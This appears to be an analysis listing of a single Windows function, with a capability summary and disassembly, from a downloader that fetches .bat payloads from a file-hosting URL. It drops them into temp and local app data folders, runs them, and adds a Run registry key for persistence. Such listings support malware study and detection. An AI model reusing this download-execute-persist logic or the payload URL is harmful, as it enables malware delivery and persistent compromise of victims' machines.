Function at 0x1400017af
Capabilities:
Check if file exists
Create directory
Download url
Persist via run registry key
Query environment variable
Receive data
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4b8
call fcn.140001644
test eax, eax
jne 0x140001828
mov ecx, 0x208
call fcn.140022960
mov r12, rax
call fcn.140002230
test eax, eax
je 0x140002137
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x104
mov r8, r12
xor edx, edx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, r12
xor r8d, r8d
xor edx, edx
call fcn.14000254b
mov rcx, r12
call fcn.140022930
jmp 0x140002137
lea rax, [rsp + 0x1a8]
lea rdx, str.https:__files.catbox.moe_05cptq.bat
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.1400015b6
jmp 0x140001853
lea rcx, [rsp + 0x1c8]
lea rdx, str.Executable
call fcn.1400015b6
jmp 0x140001876
lea rcx, [rsp + 0x1e8]
lea rdx, str._temp_7rnybk.bat
call fcn.1400015b6
lea rcx, [rsp + 0x208]
lea rdx, str.3qw4VNv
call fcn.1400015b6
jmp 0x1400018aa
lea rbp, [rsp + 0x228]
lea rdx, str.https:__files.catbox.moe_05cptq.bat
mov rcx, rbp
call fcn.1400015b6
jmp 0x1400018d0
lea rcx, [rsp + 0x248]
lea rdx, str.Executable
call fcn.1400015b6
jmp 0x1400018f3
lea rcx, [rsp + 0x268]
lea rdx, str._localappdata_pBh5J2cmg.bat
call fcn.1400015b6
lea rcx, [rsp + 0x288]
lea rdx, str.lApBsw
call fcn.1400015b6
jmp 0x140001927
lea rax, [rsp + 0xd8]
lea rdx, str.CurrentDirectory
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.1400015b6
jmp 0x140001952
lea rax, [rsp + 0xf8]
lea rdx, str._localappdata_
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.1400015b6
lea rax, [rsp + 0x118]
lea rdx, str._temp_
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.1400015b6
mov rbp, qword [rsp + 0x58]
lea r12, [rsp + 0x138]
mov qword [rsp + 0x80], 0
lea r14, [rsp + 0xb8]
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
jmp 0x1400019cf
lea r13, [rsp + 0x98]
mov rdx, rbp
lea r15, [rsp + 0x80]
mov rcx, r13
call fcn.140021450
lea rdi, [0x1400251d8]
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call fcn.140016960
xor r8d, r8d
mov rdx, r13
mov rcx, r12
movsxd rsi, eax
mov rbx, rax
mov r9, rsi
call fcn.140017160
mov rdx, r12
mov rcx, r15
call fcn.14001bf80
lea r8d, [rbx + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r14
movsxd r8, r8d
call fcn.140017160
mov rdx, r14
mov rcx, r13
call fcn.140001530
mov rcx, r14
call fcn.14001f0d0
mov rcx, r12
call fcn.14001f0d0
inc rsi
jne 0x1400019f1
mov rdx, qword [rsp + 0x80]
lea rsi, [rsp + 0x2a8]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001a84
mov r8d, 0x104
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x140001b18
mov rcx, r12
call fcn.140021450
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.1400171d0
test eax, eax
jne 0x140001af5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rsi
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001b10
dec rax
cmp word [rsi + rax*2 + 2], 0x5c
jne 0x140001ad5
movsxd rax, edx
mov word [rsp + rax*2 + 0x2a8], 0
jmp 0x140001b10
mov rax, qword [rsp + 0x80]
lea rdx, [0x1400251dc]
mov rcx, rsi
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14001f0d0
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, 1
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
cmp rbx, rax
jae 0x140001b7d
lea rdx, [0x1400251d8]
mov rcx, rsi
call rdi
mov rax, rbx
mov rcx, rsi
shl rax, 5
add rax, qword [rsp + 0x80]
mov rdx, qword [rax]
call rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
jne 0x140001b78
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc rbx
jmp 0x140001b24
mov rcx, rsi
call fcn.1400016ed
mov rcx, r15
add rbp, 0x20
call fcn.14001bf40
mov rcx, r13
call fcn.14001f0d0
cmp rbp, r12
jne 0x1400019cf
mov rbp, qword [rsp + 0x50]
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.140021450
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rdx, [0x1400251d8]
mov rcx, r13
call fcn.140016960
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
mov rdx, r13
movsxd r14, eax
mov rbx, rax
mov r9, r14
call fcn.140017160
mov rdx, qword [rsp + 0x60]
mov rcx, r15
call fcn.14001bf80
lea r8d, [rbx + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r12
movsxd r8, r8d
call fcn.140017160
mov rdx, r12
mov rcx, r13
call fcn.140001530
mov rcx, r12
call fcn.14001f0d0
mov rcx, qword [rsp + 0x60]
call fcn.14001f0d0
inc r14
jne 0x140001bc0
mov rdx, qword [rsp + 0x80]
lea rbx, [rsp + 0x2a8]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001c5d
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x140001cf1
mov rcx, r12
call fcn.140021450
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.1400171d0
test eax, eax
jne 0x140001cce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rbx
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001ce9
dec rax
cmp word [rbx + rax*2 + 2], 0x5c
jne 0x140001cae
movsxd rax, edx
mov word [rsp + rax*2 + 0x2a8], 0
jmp 0x140001ce9
mov rax, qword [rsp + 0x80]
lea rdx, [0x1400251dc]
mov rcx, rbx
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14001f0d0
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14d, 1
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
cmp rax, r14
jbe 0x140001d77
lea rdx, [0x1400251d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, r14
mov rcx, rbx
shl rax, 5
add rax, qword [rsp + 0x80]
mov rdx, qword [rax]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call rdi
inc eax
jne 0x140001d72
mov rax, qword [rsp + 0x88]
sub rax, qword [rsp + 0x80]
sar rax, 5
dec rax
cmp rax, r14
jbe 0x140001d72
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc r14
jmp 0x140001cfe
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140001f42
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
lea r14, [rbp + 0x20]
lea rdx, str.Executable
mov rcx, r14
call fcn.1400171d0
test eax, eax
jne 0x140001e2d
mov ecx, 0x68
call fcn.140022970
mov rbx, rax
mov ecx, 0x1a
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.140022970
mov rdx, rax
mov ecx, 6
xor eax, eax
xor r9d, r9d
mov rdi, rdx
lea r10, [rsp + 0x2a8]
xor r8d, r8d
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], rdx
mov rdx, r10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
jmp 0x140001ed6
lea rdx, [0x1400251e2]
mov rcx, r14
call fcn.1400171d0
test eax, eax
jne 0x140001ede
mov ecx, 0x68
call fcn.140022970
mov r14, rax
mov ecx, 0x1a
xor eax, eax
mov rdi, r14
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.140022970
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x78]
mov ecx, 6
xor eax, eax
rep stosd dword [rdi], eax
mov ecx, 0x208
call fcn.140022960
mov rdi, rax
mov r8, rbx
lea rdx, str.rundll32__s
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r14
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x38], 0
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x140001f42
mov qword [rsp + 0x138], 0x70
mov rcx, r12
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x168], 3
mov qword [rsp + 0x170], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rax, qword [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rbx, [rsp + 0x2a8]
mov rdx, qword [rbp + 0x60]
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r15
sub rbp, 0xffffffffffffff80
call fcn.14001bf40
mov rcx, r13
call fcn.14001f0d0
cmp rbp, rsi
jne 0x140001ba7
mov rcx, r15
lea rsi, [rsp + 0x1a8]
call fcn.14001bfc0
mov rcx, qword [rsp + 0x70]
call fcn.14001f0d0
mov rcx, qword [rsp + 0x68]
call fcn.14001f0d0
mov rcx, qword [rsp + 0x58]
call fcn.14001f0d0
sub rbx, 0x20
mov rcx, rbx
call fcn.14001f0d0
cmp rbx, rsi
jne 0x140001ff2
jmp 0x140002137
xor eax, eax
add rsp, 0x4b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x28
call fcn.14000bc90
mov rax, qword [0x1400284e0]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x1400284d0]
mov r8, qword [rax]
mov rax, qword [0x1400284c0]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x1400017af